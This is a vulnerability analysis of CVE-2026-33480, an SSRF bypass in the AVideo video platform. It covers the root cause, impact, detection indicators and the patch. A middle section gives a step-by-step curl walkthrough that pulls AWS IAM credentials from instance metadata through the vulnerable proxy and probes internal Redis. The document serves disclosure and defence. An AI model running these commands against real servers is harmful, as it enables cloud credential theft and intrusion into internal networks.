CVE-2026-33480: 
PHP vulnerability analysis and mitigation

CVE-2026-33480 is an SSRF protection bypass vulnerability in WWBN AVideo, a self-hosted video platform, affecting all versions up to and including 26.0. The flaw resides in the isSSRFSafeURL() function, which fails to block IPv4-mapped IPv6 addresses (e.g., ::ffff:169.254.169.254), allowing unauthenticated attackers to reach cloud instance metadata services, internal networks, and localhost-bound services via the plugin/LiveLinks/proxy.php endpoint. It was disclosed on March 20, 2026, and assigned a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory, AVideo Security Advisory).

The root cause (CWE-918: Server-Side Request Forgery) lies in the incomplete blocklist logic within objects/functions.php. The isSSRFSafeURL() function maintains two separate check paths — one using dotted-decimal regex patterns for IPv4 private ranges and another for common IPv6 private ranges — but neither path covers the ::ffff:0:0/96 (IPv4-mapped IPv6) prefix. When an attacker supplies a URL such as http://[::ffff:169.254.169.254]/, PHP's filter_var() recognizes the host as a valid IPv6 address and skips DNS resolution, while all regex checks fail to match, causing the function to return true (safe). The vulnerable plugin/LiveLinks/proxy.php endpoint explicitly sets $doNotConnectDatabaseIncludeConfig = 1 and $doNotStartSessionbaseIncludeConfig = 1, disabling authentication entirely; it then makes two outbound requests (get_headers() and fakeBrowser() via curl) and echoes the response back to the caller (GitHub Advisory, AVideo Security Advisory).

Successful exploitation allows any unauthenticated internet user to steal temporary IAM credentials from AWS IMDSv1, GCP, and Azure instance metadata services, potentially granting full cloud infrastructure access. Attackers can also enumerate and interact with internal network services (databases, admin panels, Redis, Memcached, internal APIs) that are not exposed to the internet, enabling lateral movement within the hosting environment. The confidentiality impact is rated High with a changed scope, reflecting that the compromise extends beyond the AVideo application itself to the underlying cloud and network infrastructure (GitHub Advisory, AVideo Security Advisory).

A proof-of-concept exploit consisting of concrete curl command sequences is publicly available in the GitHub Security Advisory, making exploitation trivial for any attacker with network access to the target (AVideo Security Advisory). No authentication or special privileges are required. The EPSS score is approximately 0.032–0.068%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory). The vulnerability is detectable by Qualys scanner (detection ID 5009457) (Feedly).

1. Reconnaissance: Identify internet-facing AVideo instances (version ≤ 26.0) using search engines like Shodan or Censys, or by fingerprinting the AVideo web interface.
2. Confirm endpoint availability: Verify the unauthenticated proxy endpoint is accessible: curl -I 'https://target.com/plugin/LiveLinks/proxy.php'.
3. Bypass SSRF protection: Craft a URL using an IPv4-mapped IPv6 address to evade the blocklist. For AWS metadata, use: curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'.
4. Retrieve IAM role name: ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/').
5. Steal temporary IAM credentials: curl -s "https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/${ROLE}" — the response contains AccessKeyId, SecretAccessKey, and Token.
6. Access internal services: Probe localhost or internal network hosts, e.g., curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:6379/' for Redis, or http://[::ffff:10.0.0.x]/ for internal hosts.
7. Leverage credentials: Use the stolen IAM credentials with the AWS CLI or SDK to enumerate and access cloud resources (AVideo Security Advisory).

• Network: Outbound HTTP requests from the AVideo server to 169.254.169.254, 127.0.0.1, or RFC 1918 addresses originating from the PHP/curl process; unusual responses from the server containing JSON structures with AccessKeyId, SecretAccessKey, or Token fields.
• Logs: Web server access logs showing GET requests to /plugin/LiveLinks/proxy.php with livelink parameter values containing [::ffff: prefix, especially targeting 169.254.169.254, 127.0.0.1, or internal IP ranges; repeated requests from a single IP to this endpoint.
• File System: No specific file artifacts expected, as the attack is entirely in-memory/network-based.
• Process: Unusual curl subprocess activity spawned by the PHP-FPM or Apache process making connections to link-local or loopback addresses (AVideo Security Advisory).

Apply the fix from GitHub commit 75ce8a579a58c9d4c7aafe453fbced002cb8f373, which normalizes IPv4-mapped IPv6 addresses to their plain IPv4 form before validation and replaces all manual regex blocklists with PHP's FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE flags (AVideo Patch Commit). As a workaround, restrict network-level access to plugin/LiveLinks/proxy.php via web server configuration or WAF rules, and enforce IMDSv2 (token-required mode) on AWS instances to prevent unauthenticated metadata access. Cloud operators should also apply least-privilege IAM policies to limit the impact of credential theft (GitHub Advisory).

The vulnerability was reported by a researcher identified as "offset" and published by the AVideo maintainer DanielnetoDotCom on March 20, 2026. Coverage appeared on The Hacker Wire and several vulnerability aggregation platforms shortly after disclosure (The Hacker Wire). Community discussion was noted on Bluesky and vulnerability tracking databases including VulDB and CIRCL (Feedly). No major vendor statements beyond the GitHub advisory have been identified.